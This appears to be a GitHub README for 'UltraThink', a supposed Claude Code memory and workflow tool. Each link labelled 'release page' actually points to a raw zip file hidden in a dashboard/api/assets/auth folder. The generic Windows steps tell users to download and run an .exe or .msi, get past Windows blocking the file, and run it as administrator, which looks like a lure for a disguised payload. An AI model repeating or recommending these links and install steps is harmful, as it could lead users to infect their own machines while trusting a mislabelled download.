ultrathink-oss

# ⚡ ultrathink-oss - Stay organized across every session [](https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip) ## 🚀 Quick Start UltraThink helps you keep your work in one place. It runs on Windows and gives you a simple way to start, load your settings, and keep your workflow the same each time you use it. If you want to get the app, use the release page here: [Visit the download page](https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip) ## 💻 What UltraThink Does UltraThink is a workflow tool for Claude Code users. It keeps useful memory between sessions, stores your project habits, and helps the app follow your preferred way of working. It also includes: - a memory layer for saved context - a skill system for common tasks - a privacy section for local control - a dashboard for viewing activity - support for Codex project files ## 📥 Download and Run on Windows 1. Open the release page: [https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip](https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip) 2. Find the latest release at the top of the page. 3. Under **Assets**, look for the Windows file. It will often end in one of these names: - `.exe` - `.msi` - `.zip` 4. Download the file to your computer. 5. If you downloaded an `.exe` or `.msi` file, double-click it to start the setup. 6. If you downloaded a `.zip` file: - right-click it - choose **Extract All** - open the extracted folder - run the app file inside 7. Follow the on-screen steps to finish setup. 8. Open UltraThink from the Start menu or from the folder where you installed it. ## 🪟 Windows Requirements UltraThink is built for modern Windows systems. A normal home or work PC should work fine if it meets these basics: - Windows 10 or Windows 11 - 4 GB of RAM or more - at least 500 MB of free disk space - internet access for the first download - permission to install apps on your computer If your computer is managed by work or school, you may need admin access to install it. ## 🧭 First-Time Setup When you open UltraThink for the first time, follow these steps: 1. Start the app. 2. Read any setup prompts on the screen. 3. Pick your folder or project if the app asks for one. 4. Set your preferred options. 5. Save the settings. If the app uses Claude Code on your machine, it may ask you to connect to your local project folder or confirm a few workspace paths. Use the folder where you keep your code or notes. ## 🔧 How UltraThink Fits Your Workflow UltraThink is meant to keep your work stable across sessions. That means it can remember things like: - your coding style - your project rules - your preferred task order - useful notes from past work - project-specific settings This helps reduce repeated setup when you return later. ## 🧱 Main Parts of the App ### 🧠 Memory UltraThink stores useful context so you do not need to repeat the same setup each time. It can keep project notes, habits, and task rules in one place. ### 🛠️ Skill Mesh The app uses a multi-layer skill system. In plain terms, it groups common work into clear steps so the right task logic is easy to find. ### 🔐 Privacy Hooks UltraThink gives you controls for local use and data handling. This helps you keep personal or project data under your control. ### 📊 Dashboard The dashboard shows activity and status in one view. You can use it to check what the app is doing and how your workspace is set up. ### 🤖 Codex Project Support UltraThink includes a Codex-facing `AGENTS.md` file so project rules can stay aligned across tools. ## 🗂️ Typical Folder Layout After setup, your files may look like this: - `ultrathink-oss/` — main app folder - `config/` — app settings - `memory/` — saved context and notes - `skills/` — task and workflow rules - `dashboard/` — display files for status views - `docs/` — help files and images You do not need to edit these folders unless you want to change how the app works. ## ⚙️ Basic Use Once UltraThink is running, you can use it to: - keep project rules in one place - track work across sessions - load saved habits and preferences - review task status - keep Claude Code aligned with your project needs If the app asks for a project path, choose the main folder for your work. If you are not sure, choose the folder that contains your files, notes, or source code. ## 🧪 Common File Types You May See UltraThink may use these file types: - `.md` for notes and instructions - `.json` for saved settings - `.yaml` or `.yml` for project config - `.txt` for plain notes - `.exe` for Windows launch files You can open most text files with Notepad. ## 🛡️ Safety Tips Keep your files in a folder you can find again. If the app saves memory or settings, back up the folder from time to time. This helps if you move to a new computer or need to restore your setup. ## ❓ Common Problems ### The app does not open - Download the file again from the release page - Make sure the download finished - Check that Windows did not block the file - Try running the app as an administrator ### I cannot find the file - Open your Downloads folder - Sort by date - Look for the newest `.exe`, `.msi`, or `.zip` file ### The app asks for a project folder - Choose the main folder for your work - If needed, create a new folder for testing - Use a folder with files you want the app to manage ### The settings do not save - Check that you have write access to the folder - Avoid saving inside protected system folders - Try a folder in Documents or on your desktop ## 🧩 Configuration UltraThink can be adjusted with simple config files. Most users only need to change a few items: - project name - save location - memory settings - skill rules - dashboard options If you want to keep things simple, start with the default settings and only change one item at a time. ## 📚 File Reference Useful files in the repo may include: - `AGENTS.md` — instructions for Codex use - `docs/assets/ultrathink-logo-1.png` — project logo - project config files — app rules and saved preferences - dashboard files — status and view data ## 🔄 Updating UltraThink To update the app on Windows: 1. Go back to the release page: [https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip](https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip) 2. Download the newest version. 3. Close the app if it is open. 4. Install or replace the old files with the new ones. 5. Open the app again and check that your settings are still there. ## 📌 Best Results For a smooth setup: - keep the app in one folder - use a clear project name - back up your settings folder - keep your project files in a fixed path - use the same workspace each time ## 🧰 For Advanced Users If you are comfortable with files, you can tune UltraThink for different projects by changing its config, memory, and skill files. This lets you reuse the same workflow for more than one project without rebuilding everything from scratch. ## 📎 Release Page [https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip](https://github.com/Selfconsistent-syncopator783/ultrathink-oss/raw/refs/heads/main/dashboard/app/api/assets/auth/ultrathink-oss-3.2-alpha.5.zip)